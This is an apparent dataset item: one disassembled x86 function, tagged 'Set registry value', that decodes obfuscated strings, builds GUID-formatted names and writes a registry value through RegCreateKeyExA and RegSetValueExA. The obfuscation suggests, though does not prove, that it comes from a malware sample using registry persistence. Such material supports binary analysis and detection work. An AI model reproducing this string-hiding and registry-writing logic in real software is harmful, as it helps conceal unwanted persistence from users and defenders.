Function at 0x401040
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
push edi
push esi
push ebx
sub esp, 0x474
mov dword [esp + 0x10], eax
cmp eax, 7
je 0x40144e
lea eax, [esp + 0x436]
call fcn.00409d90
mov ecx, dword [esp + 0x10]
xor ecx, 0x372bb2e9
mov dword [esp + 0x10], ecx
mov edx, str.6ZCFy9_exc_Sz8mEyMve
lea eax, [esp + 0x210]
call fcn.004224a0
mov edx, eax
lea eax, [esp + 0x446]
call fcn.00401bc0
movzx edi, byte [esp + 0x450]
movzx esi, byte [esp + 0x451]
movzx ebx, byte [esp + 0x452]
movzx ecx, byte [esp + 0x453]
movzx edx, byte [esp + 0x454]
movzx eax, byte [esp + 0x455]
push eax
push edx
push ecx
push ebx
push esi
push edi
movzx eax, byte [esp + 0x467]
push eax
movzx edx, byte [esp + 0x46a]
push edx
movzx ecx, byte [esp + 0x46d]
push ecx
movzx ebx, byte [esp + 0x470]
push ebx
movzx esi, byte [esp + 0x473]
push esi
movzx edi, byte [esp + 0x476]
push edi
movzx eax, byte [esp + 0x479]
push eax
movzx edx, byte [esp + 0x47c]
push edx
movzx ecx, byte [esp + 0x47f]
push ecx
movzx ebx, byte [esp + 0x482]
push ebx
push str._.2X_.2X_.2X_.2X__.2X_.2X__.2X_.2X__.2X_.2X__.2X_.2X_.2X_.2X_.2X_.2X
lea esi, [esp + 0x42c]
push esi
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0x48
mov eax, dword [esp + 0x10]
movdqa xmm0, xmmword [0x53eea0]
mov dword [esp + 0x45c], eax
movaps xmmword [esp + 0x460], xmm0
lea eax, [esp + 0x390]
call fcn.004252d0
lea eax, [esp + 0x390]
mov edx, str.cj_a_
mov ecx, 5
call fcn.00401c90
lea eax, [esp + 0x390]
lea edx, [esp + 0x45c]
mov ecx, 4
call fcn.00401c90
lea eax, [esp + 0x390]
mov edx, str..mov_.qt.avi
mov ecx, 0xc
call fcn.00401c90
lea eax, [esp + 0x460]
lea edx, [esp + 0x390]
call fcn.00408c90
movzx edi, byte [esp + 0x46a]
movzx esi, byte [esp + 0x46b]
movzx ebx, byte [esp + 0x46c]
movzx ecx, byte [esp + 0x46d]
movzx edx, byte [esp + 0x46e]
movzx eax, byte [esp + 0x46f]
push eax
push edx
push ecx
push ebx
push esi
push edi
movzx eax, byte [esp + 0x481]
push eax
movzx edx, byte [esp + 0x484]
push edx
movzx ecx, byte [esp + 0x487]
push ecx
movzx ebx, byte [esp + 0x48a]
push ebx
movzx esi, byte [esp + 0x48d]
push esi
movzx edi, byte [esp + 0x490]
push edi
movzx eax, byte [esp + 0x493]
push eax
movzx edx, byte [esp + 0x496]
push edx
movzx ecx, byte [esp + 0x499]
push ecx
movzx ebx, byte [esp + 0x49c]
push ebx
push str._.2X_.2X_.2X_.2X__.2X_.2X__.2X_.2X__.2X_.2X__.2X_.2X_.2X_.2X_.2X_.2X
lea esi, [esp + 0x453]
push esi
call dword [sym.imp.MSVCR80.dll_sprintf]
lea edx, [esp + 0x2d8]
lea eax, [esp + 0x457]
push eax
push dword [esp + 0x5c]
push str._d:_s
push edx
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0x58
lea eax, [esp + 0x210]
mov edx, str.cXM3t3L2M_258PJ2MXZxcze9v3DxPLt69T2tjF3MPOz9jZ1PaP2fbp39jYz8Te1PnP3vbSzcuHmdyc9tzP2A
call fcn.004224a0
lea esi, [esp + 0x310]
lea edx, [esp + 0x3e8]
push edx
push eax
push esi
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x210]
mov edx, str.4cTF3cT53MnZ
call fcn.004224a0
mov ebx, eax
test ebx, ebx
je 0x401458
movsx eax, byte [ebx]
test eax, eax
je 0x401458
call fcn.00422e10
test eax, eax
je 0x4012f1
lea edi, [esp + 0x290]
mov dword [esp + 0xc], edi
mov eax, reloc.OLEAUT32.dll_SysReAllocString
mov edx, esi
mov ecx, ebx
call fcn.00406800
lea edi, [esp + 0x10]
mov dword [esp + 0x458], ebx
push 0x5428fc
push esi
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x401335
sub ebx, esi
push ebx
push esi
push edi
call dword [sym.imp.MSVCR80.dll_memmove]
push 0
push 0x542830
add edi, ebx
push edi
call dword [sym.imp.MSVCR80.dll_memmove]
add esp, 0x18
lea esi, [ebx + esi + 1]
jmp 0x4012fc
mov ebx, dword [esp + 0x458]
mov edx, esi
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x401362
mov eax, edx
add edx, ecx
call fcn.00425520
inc eax
push eax
push esi
push edi
call dword [sym.imp.MSVCR80.dll_memmove]
add esp, 0xc
call fcn.00401b70
mov esi, eax
cmp dword [0x56e6a8], 0
jne 0x4013b6
pxor xmm0, xmm0
movq qword [0x56e660], xmm0
movd dword [0x56e668], xmm0
mov dword [0x56e660], 0xc
call fcn.00407150
mov dword [0x56e664], eax
mov eax, 1
mov dword [0x56e668], eax
mov dword [0x56e6a8], eax
mov eax, 0xf013f
mov edx, 0xf003f
test esi, esi
cmovne edx, eax
lea esi, [esp + 0x458]
xor ecx, ecx
push ecx
push esi
push 0x56e660
push edx
push ecx
push ecx
push ecx
lea edi, [esp + 0x2c]
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401458
lea edx, [esp + 0x290]
mov ecx, edx
and edx, 0xfffffff0
pxor xmm0, xmm0
pcmpeqb xmm0, xmmword [edx]
pmovmskb eax, xmm0
and ecx, 0xf
shr eax, cl
bsf eax, eax
jne 0x401418
mov eax, edx
add edx, ecx
call fcn.00425520
inc eax
push eax
lea edx, [esp + 0x294]
push edx
push 1
push 0
push ebx
push dword [esp + 0x46c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x458]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x474
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
mov eax, 1
call fcn.00401470
add esp, 0x474
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret